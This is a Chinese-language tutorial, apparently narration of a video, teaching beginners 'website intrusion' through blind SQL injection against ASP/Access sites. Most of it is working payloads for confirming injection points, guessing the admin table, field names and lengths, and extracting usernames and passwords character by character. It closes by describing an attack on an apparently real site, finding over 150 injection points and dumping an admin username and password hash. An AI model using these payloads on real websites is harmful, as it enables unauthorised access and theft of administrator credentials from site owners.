| 动画介绍:管理员的密码,用户名。还有ID什么的
比如:PHP,ASP,JSP,ASPX
经典的AND 1=1 返回正常 AND 1=2 返回错误
判断有无注入点 ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*) >0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
这里大家在刚开始学习网站入侵的时候并不需要马上就了解 手工注入 因为你刚刚接触 这个
对于手工注入可能还不是很了解,如果你是刚刚学习的菜鸟 建议你使用工具后
对网站入侵有基本的了解了,再来使用手工注入。这里就讲解工具了,不使用手工了
我已经找到了一个站点 呵呵 不明白? 看玩上面的文章 你就明白了,这里他有一个漏洞,
可以扫出很多来,看到了吗,150多个注入点,o(∩_∩)o... 好了,进入今天的正题吧,
我们来检测他的后台 后台地址:admin/login.asp 这里说到了,工具检测? 那再来看看啊
不好意思,机器有点慢,检测完成 access或其他数据库,我们再来检测一下表段,
表段检测出 两个 这里 一般管理帐号和密码的 表段是 admin user 在这里我们再来猜解字段
字段就出来了,出来后再来检测内容,可以看到,速度还可以的哦,o(∩_∩)o...
username:admin password:7a57a5a743894a0e
username 用户名 password 密码 --------------- |